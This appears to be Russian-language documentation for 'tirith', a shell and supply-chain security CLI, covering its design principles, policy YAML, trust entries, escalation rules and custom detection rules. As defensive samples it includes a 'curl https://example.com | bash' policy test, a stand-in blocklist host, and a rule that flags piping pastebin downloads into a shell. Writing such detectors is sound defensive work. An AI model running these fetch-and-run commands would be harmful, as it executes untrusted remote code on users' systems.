tirith capsule run --preset untrusted-projectКопирует недоверенный проект во временный удерживаемый каталог и запускает точный argv в fail-closed капсуле. Применимо только на x86_64 Linux; любой другой хост отказывает до того, как что-либо будет скопировано или запущено
tirith browser auditАудит целостности только для чтения установленных деревьев исходников расширений семейства Chromium с обнаружением отклонений от подписанного базового состояния
tirith pkg attest-npmЗапрашивает у собственного npm проекта проверку подписей реестра для установленных пакетов, привязанную к точному lockfile и дереву установки
tirith attest {build,verify-build,deployment,verify-deployment}Моментальные квитанции по двум деревьям и по развёрнутым маршрутам. Не является заявлением о воспроизводимой сборке и не является непрерывным мониторингом

Это набор для повседневного использования. Всего tirith поставляет 78 команд верхнего уровня в 8 группах: сканирование и анализ, статус и работоспособность, настройка, политика и доверие, защита оболочки и системы (hygiene, persistence, exec, path, context, ssh, sudo, iac), цепочка поставок, интеграции с AI-агентами и форензика и реагирование. Запустите tirith --help для категоризированного списка или см. полный справочник команд. Глобальный флаг --quiet (или TIRITH_QUIET=1) заглушает рекомендательный вывод, не скрывая ошибки, вердикты или уведомления безопасности.


Принципы проектирования

  • Офлайн — жёсткая граница: paste, score, diff и why не делают никаких сетевых вызовов. tirith check может обращаться к настроенным источникам OSV/deps.dev/ecosyste.ms, CISA KEV и Safe Browsing, а также может запускать периодическое обновление базы данных угроз, описанное ниже. tirith check --offline (или TIRITH_OFFLINE=1) подавляет все эти HTTP- и DNS-пути, читает только существующие кэши времени выполнения и сообщает о промахах кэша как о неполной проверке, а не как о чистом результате.
  • Периодическое фоновое обновление базы данных угроз: tirith check и хуки оболочки запускают дешёвую отсоединённую фоновую проверку не чаще одного раза в 24 часа по умолчанию (threat_intel.auto_update_hours), чтобы поддерживать подписанную базу данных свежей. Это никогда не блокирует команду. Установите auto_update_hours: 0, чтобы отключить это, или --offline / TIRITH_OFFLINE=1, чтобы подавить это для отдельного вызова. tirith paste не запускает это; он идёт напрямую через локальный движок.
  • Никакого переписывания команд: tirith никогда не изменяет то, что вы ввели. --suggest и explain --fix выводят отдельную команду для запуска; они никогда не подменяют одну другой.
  • Никакой телеметрии: никакой аналитики, никаких отчётов о сбоях, никакого поведения «звонка домой».
  • Никаких долгоживущих фоновых процессов по умолчанию: tirith вызывается для каждой команды и немедленно завершается. Обновление базы данных угроз, описанное выше, — это недолговечное отсоединённое обновление, а не резидентный процесс. Опциональный tirith daemon start — единственный резидентный процесс, и он включается по желанию.
  • Сеть только на документированных поверхностях: run, fetch и audit report --upload обращаются к сети только при явном вызове; check использует настроенные источники угроз времени выполнения, а обновление базы данных угроз следует расписанию выше. Режим демона добавляет сетевое разрешение URL, а опциональные интеграции с webhook / сервером политик могут делать исходящие запросы при настройке. --offline / TIRITH_OFFLINE=1 отключает все сетевые источники на горячем пути check как в режиме демона, так и во встроенном режиме.
  • Защита исходящего трафика при загрузках. tirith run, fetch --save и command-card fetch по умолчанию отклоняют частные, loopback- и облачные метаданные хосты, а защита от SSRF повторно проверяет DNS во время подключения и на каждом шаге перенаправления. Чтобы достичь конкретного внутреннего сервиса, установите TIRITH_PRIVATE_FETCH_ALLOW в разделённый запятыми список точных имён хостов, частных IP или ограниченных частных CIDR (например, registry.internal,10.42.0.0/24). Устаревший широкий переключатель TIRITH_ALLOW_PRIVATE_FETCH=1 не поддерживается. Link-local, специального назначения и облачные control-plane/credential эндпоинты остаются заблокированными, даже когда хост одобрен. Обратите внимание, что даёт запись имени хоста: это имя одобрено для всего, во что оно разрешается в пространстве частного использования и loopback, включая 127.0.0.1, потому что разрешение не является частью решения о доверии. Предпочитайте запись CIDR, когда вы имеете в виду фиксированный диапазон адресов, и используйте имя хоста только когда само имя — это то, чему вы доверяете.

Конфигурация

Быстрый старт```bash

tirith policy init # creates .tirith/policy.yaml in your repo tirith policy validate # check for syntax/schema errors tirith policy test "curl https://example.com | bash" # dry-run against policy

`tirith policy init` принимает `--template <name>` для готовой стартовой политики:```bash
tirith policy init --template individual      # solo developer defaults (alias: personal)
tirith policy init --template ci-strict       # fail-closed, no bypass, scan fail-on
tirith policy init --template ai-agent-heavy  # tuned for heavy AI-agent use
tirith policy init --template oss-maintainer  # reviewing contributor-controllable risk
tirith policy init --template startup         # small-team balance
tirith policy init --template enterprise      # strict, with an active package_policy block
tirith policy init --template mcp-strict      # locked-down MCP server and tool trust

Каждый шаблон — это хорошо прокомментированная, валидная по схеме политика, которую можно дальше редактировать. Без --template команда tirith policy init записывает полную политику по умолчанию.

Файл политики

Tirith использует файл политики в формате YAML. Порядок поиска:

  1. .tirith/policy.yaml в текущем каталоге (поиск вверх до корня репозитория)
  2. `~/.config/tirith/policy.yaml````yaml fail_mode: open # or "closed" for strict environments paranoia: 1 # 1-4: higher = more sensitive strict_warn: false # require explicit acknowledgement for warnings

allowlist:

  • "get.docker.com"
  • "sh.rustup.rs"

blocklist:

  • "evil.example.com"

severity_overrides: docker_untrusted_registry: CRITICAL

scan: ignore_patterns: - "node_modules" - "target" profiles: ci: include: [".md", ".json", ".yaml", ".claude/"] fail_on: high

Используйте `allowlist_rules` для подавления в рамках правила, когда вы доверяете источнику для одного правила, но не хотите глобально добавлять его в allowlist:```yaml
allowlist_rules:
  - rule_id: curl_pipe_shell
    patterns:
      - "get.docker.com"

allowlist и allowlist_rules сопоставляются только с URL, извлечёнными из входных данных, которые присутствуют в доказательствах находки. Они никогда не сопоставляются с необработанным текстом команды, и находка без доказательств в виде URL никогда не может быть подавлена allowlist, поэтому шаблон в форме команды, такой как launchctl list, неактивен. Шаблоны используют ту же грамматику, что и tirith trust: шаблон, содержащий ://, /, ? или #, является точным совпадением с нормализованным URL (с привязкой, запрос и фрагмент значимы); голый хост с точками, такой как get.docker.com, соответствует этому домену и его поддоменам; *.example.com — это явный подстановочный знак; голый токен без точки — это совпадение подстроки с текстом URL, если только этот токен не является публичным суффиксом, таким как com или dev, и в этом случае он рассматривается как совпадение домена с хостом URL и соответствует каждому хосту под ним. Проверьте, во что разрешается политика, с помощью tirith policy effective, и проверьте конкретную команду с помощью tirith policy test '<command>'.

Управление доверием из CLI

tirith trust управляет доверенными шаблонами без ручного редактирования policy YAML. Доверие узкое и по умолчанию истекает: доверяйте наиболее конкретной вещи, которая работает, и записи истекают через 30 дней, если вы не откажетесь от этого.```bash

Narrowest scope, a specific URL or path is accepted as-is, 30-day TTL.

A schemeless host/path is normalized as HTTPS for exact matching.

tirith trust add raw.githubusercontent.com/org/repo/main/get.sh

A whole domain / wildcard / bare TLD is broad, it must be opted into.

tirith trust add get.docker.com --broad --rule curl_pipe_shell

Opt out of the default TTL, and record why the entry exists.

tirith trust add example.com --broad --permanent --reason "internal mirror, OPS-42"

tirith trust list # scope class per entry; '!' marks broad ones tirith trust explain example.com # what it covers, when it expires, why added tirith trust diff # what changed in the trust set tirith trust gc --expired # drop expired entries

**Область действия** каждой записи классифицируется как `exact`, `substring`, `domain`, `wildcard` или `bare-TLD`. Любая не-exact область (`substring` / `domain` / `wildcard` / `bare-TLD`) требует `--broad`, поэтому широкое разрешение всегда является осознанным выбором. Точные URL используют нормализованное сравнение URL (включая схему, хост, эффективный порт, путь, query и fragment), а не сопоставление по подстроке. Все подкоманды поддерживают `--format json`. Хранилища доверия, записанные более старыми версиями tirith, продолжают работать без изменений; запись без TTL считается постоянной.

### Эскалация и переопределения действий

Предупреждения отслеживаются по сессиям. Если одно и то же правило срабатывает повторно, правила эскалации могут повысить его до блокировки:```yaml
action_overrides:
  shortened_url: block            # always block, regardless of default severity

escalation:
  - trigger: repeat_count
    rule_ids: ["*"]               # any rule
    threshold: 5
    window_minutes: 60
    action: block
  - trigger: multi_medium
    min_findings: 3               # 3+ medium findings on one command → block
    action: block

Просматривайте накопленные предупреждения в любое время:```bash tirith warnings # table of session warnings tirith warnings --format json # structured output tirith warnings --clear # clear after viewing

При выходе из оболочки выводится однострочная сводка, если во время сеанса были зафиксированы какие-либо предупреждения.

Больше примеров в [docs/cookbook.md](https://github.com/sheeki03/tirith/blob/main/docs/cookbook.md).

### Пользовательские правила обнаружения

Создавайте собственные правила в `.tirith/policy.yaml` в разделе `custom_rules:`. Каждое правило представляет собой либо `pattern:` (регулярное выражение), либо семантическое дерево предикатов `when:`, а также `context:` (`exec`, `paste` или `file`), `severity:` и `title:`.```yaml
custom_rules:
  - id: no_internal_pastebin
    context: exec
    severity: high
    title: "Internal pastebin is not allowed for piped execution"
    when:
      all:
        - command.has_pipeline_to: [bash, sh]
        - url.host_matches: "paste\\.corp\\.example$"

DSL when: комбинирует all: / any: / not: над предикатами, такими как command.has_pipeline_to, command.uses_sudo, url.host, url.host_matches, url.reputation, url.domain_not_in, package.ecosystem, package.name_matches, package.reputation и file.path_matches. Предикаты репутации читают локальную подписанную базу данных угроз, поэтому пользовательское правило по-прежнему не выполняет сетевых вызовов на горячем пути. Проверьте и выполните пробный запуск перед фиксацией:```bash tirith rule validate # check every custom rule: shape + context coverage tirith rule test --rule no_internal_pastebin --input "echo hi | bash" tirith rule explain --rule no_internal_pastebin


Read more

Категории